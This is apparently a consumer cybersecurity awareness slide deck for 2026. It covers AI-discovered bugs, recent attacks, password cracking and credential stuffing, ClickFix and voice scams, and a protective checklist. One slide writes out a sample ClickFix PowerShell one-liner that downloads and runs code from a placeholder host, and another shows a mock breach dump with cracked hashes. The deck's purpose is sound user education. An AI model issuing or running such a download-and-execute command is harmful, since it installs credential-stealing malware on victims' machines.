>_ cyber-hygiene --year 2026

Staying safe online in 2026

What changed, and the handful of things that actually matter now.

>_ part 1

What's going on

AI, ancient bugs, and a lot of password guessing.

Old code, new eyes

Bugs that hid for decades

OpenBSDoperating system
27 years
Found by AI
FFmpegvideo library in nearly every app
16 years
Found by AI
PHPruns most websites
14 years
Found by AI
1995200020052010201520202026

Anthropic says its Mythos model and partners found 10,000+ serious bugs in about a month.

Bugs hiding in plain sight for decades, found by AI in 2026. Source: Anthropic Project Glasswing, Wiz, CERT-EU
October to November 2026

Just the last four weeks

  • Oct 13 IoT Hackers flip supermarket freezers across France into defrost mode
  • Oct 17 Web Attackers start exploiting a hidden PHP bug, before any fix exists
  • Oct 21 Web PHP ships an emergency fix. NSA and FBI: patch now or take sites offline
  • Oct 27 AI AI agent finds 4 severe bugs in particle accelerator software in under 4 hours
  • Nov 1 AI AI-built exploit reported for a decade-old Linux bug
  • Nov Patch Chrome ships 213 security fixes. Android patches "zero-click" flaws

2026 is on pace for a record ~72,000 published vulnerabilities, about double last year.

A sample of headlines from just the last few weeks. Source: Microsoft Digital Defense Report 2026, EWN, AWS via BleepingComputer, NSA/FBI, The Register, Cloud Security Alliance, Help Net Security
70% of websites run PHP
PHP2Shell

Any PHP site could be taken over

  1. 2012Bug quietly ships in PHP 5.4
  2. Aug 2026Researchers find it with AI and report it
  3. Oct 17Attackers start using it
  4. Oct 21Emergency patch released
NSA + FBI Patch it now, or take the site offline.
PHP2Shell: one bug, most of the web. Source: Wiz, PHP Foundation, AWS, NSA/FBI advisory
FREEZER 04 46°F MODE: COOLDEFROST
● remote access: on
October 2026

Hackers turned supermarket freezers into ovens

  • Hundreds of stores in France, then more across Europe
  • Old, internet-connected controllers set to “defrost”
  • Tons of food thrown out
If it doesn't need the internet, don't connect it.
When the freezer is on the internet, the freezer can be hacked. Source: AFP via EWN, Decrypt, Danfoss statement
Microsoft sign-in data

Password attacks
per second

115
2015
921
2022
4,000
2023
7,000
2024
~5,200
2026
7,000 a second at the peak. ~600 million a day.
−26% in 2026, the first drop. 2FA and passkeys are working.
So attackers switched to: Fake login pages that steal your session 2×+ “Paste this to verify” scams 8×
Password attacks Microsoft blocks every second, by year. Source: Microsoft (Digital Defense Reports 2022 and 2024, May 2024 passkeys announcement)
Online

Guessing at the front door

Visible. Slow, rate limited, and counted. This is the 7,000 a second.

Offline

Cracking a stolen database

breach_dump.sql
jane@… $2b$10$Xq9…
bob@… 5f4dcc3b5aa7…
amy@… e10adc3949ba…
guesses per second 10,000,000,000
bob@… = password
amy@… = 123456

Invisible. On the attacker's own computer. Nobody can count it.

Two very different kinds of password attack.
Data breach → credential stuffing

One leak, every door

Random pizza place online ordering
BREACHED
stolen row #48,211
Buster2019!
Gmail ✓ Logged in ✕ Wrong password
Amazon ✓ Logged in ✕ Wrong password
Your bank ✓ Logged in ✕ Wrong password
Netflix ✓ Logged in ✕ Wrong password

Same password everywhere: they're in.

Unique passwords: the leak stays at the pizza place.

A breach at a site you barely care about becomes a key to the sites you do.
>_ part 2

What to do about it

No antivirus shopping required.

The #1 thing

Update everything, right away

Software Updatev26.1.2
Security update. Fixes an issue that may allow a website to take control of your device.
✓ Up to date
Automatic updates
Phone ✓
Computer ✓
Browser ✓
Router ✓
TV & gadgets ✓
Most updates are security fixes. The boring button is the most important one.
Password managers

Remember one password, not a hundred

You remember one: maple trombone sunday gravel + two-factor
Your vault Synced to the cloud, locked with your master password. The company can't read it.
gmail.com •••••••••••••••• vR8#qL2m!Tz9wKp4
amazon.com •••••••••••••••• nB4$hY7cQe1!sXr6
yourbank.com •••••••••••••••• Jt6@pW3zMu8&dLa2
pizzaplace.com •••••••••••••••• eC9!kF5vRn2#yHq7
amaz0n-login.co ✕ won't autofill: wrong site
Pick one:
BitwardenFree, open source
1PasswordPolished, paid
Apple PasswordsBuilt into iPhone & Mac
Google Password ManagerBuilt into Chrome & Android
Proton PassPrivacy-focused
You remember one password. The manager remembers the rest.
What "strong" actually means

Long beats complicated

Summer2026! Ticks every box. Still on every guess list.
a few million
x7#Kp2!q 8 random characters, all the symbols
6.6 quadrillion
maple trombone sunday gravel lantern 5 random words. Easy to type and remember.
28 quintillion
✕ “Password must contain a symbol” ... rejects the strongest one here.

Five random words is ~4,000× harder than eight random symbols.

How many guesses it takes to be sure you'd crack it (log scale). Source: NIST SP 800-63B-4 (no composition rules); math: 95⁸ vs. 7,776⁵ word combinations
Two-factor authentication

A password plus something else

Password only One leak and they're in
Text message code Better. But SIM swaps can steal it
Authenticator app or email code Solid for most accounts
Passkey Best. Can't be phished or reused
Turn it on first for: EmailBankPassword manager Blocks 99%+ of account takeovers
Not all second factors are equal. Source: Microsoft Digital Defense Report (MFA blocks over 99% of identity attacks)
Your Wi-Fi router

The front door to your whole house

Your devices
Router 2017 model · no updates
Internet
Attacker in the middle
which sites you visitsent to fake sitesyour other gadgetsyour internet rented to criminals

The FBI keeps saying it: replace routers that no longer get updates.

Everything in your house goes through the router. If it's hacked, so is your traffic. Source: FBI PSA on end-of-life routers (2025, 2026)
https://mainstreetbakery.com/menu
✓ Verify you are human
Security check · Performance & security
One more step to verify you're human:
  1. Press ⊞ Win + R
  2. Press Ctrl + V
  3. Press Enter
➤
What you just pasted
powershell -w hidden -c "iwr bad.example/x | iex"

That “check” just installed malware that steals your saved passwords. Microsoft saw this on 1.1 million devices in three months.

Real checks never ask you to press keys or paste anything.
A real website, hacked to show a fake “are you human” check. This scam is called ClickFix. Source: Microsoft Digital Defense Report 2026, Malwarebytes, SecurityWeek, NZ CERT
⚠ Security Warning✕
Your computer is infected!

5 viruses found. Your passwords and banking info are at risk.

Files will be deleted in 00:00

or call 1-888-555-0100
Fake virus warnings

Websites can't scan your computer

  • Don't click anything in it
  • Never call the number
  • Close the tab. Stuck? Restart the browser.
The oldest trick on the web, still working in 2026.
Incoming call
Jake (grandson)

“Grandma, it's me. I'm in trouble...

I need you to send money right now.

Please don't tell Mom and Dad.”

AI-generated voice
AI voice scams

Don't trust a voice alone

  • Urgent + secret + money = scam
  • Hang up and call them back yourself
  • Ask something only they'd know
AI can clone a voice from a short clip. Check before you trust it. Source: FBI IC3 PSA on AI-enabled fraud
Backups

Your phone is replaceable. Your photos aren't.

Phone lost in the snow Automatic backup: on
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✓
✕
✕
✕
Lost: one morning of photos
"Waterproof" phone in the pool Backup: off
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
✕
Lost: every photo
Two real phones, two very different outcomes.
Do these now

The checklist

  1. ✓ Check automatic updates are on. Do the restarts.
  2. ✓ Use a password manager. A unique password for every site.
  3. ✓ Long beats complicated. Random words work great.
  4. ✓ Never share or reuse passwords.
  5. ✓ 2FA (or passkeys) on email, bank, and password manager.
  6. ✓ Replace routers that no longer get updates.
  7. ✓ Pop-ups and “press these keys” checks are scams.
  8. ✓ Only install browser extensions you trust.
  9. ✓ Urgent call asking for money? Hang up and call back.
  10. ✓ Turn on automatic photo and file backups.
  11. ✓ If it doesn't need the internet, don't connect it.
The whole checklist.
>_ exit 0

That's it. Questions?

Now go turn on automatic updates. I'll wait.

← → to navigate · R replay · N notes · F fullscreen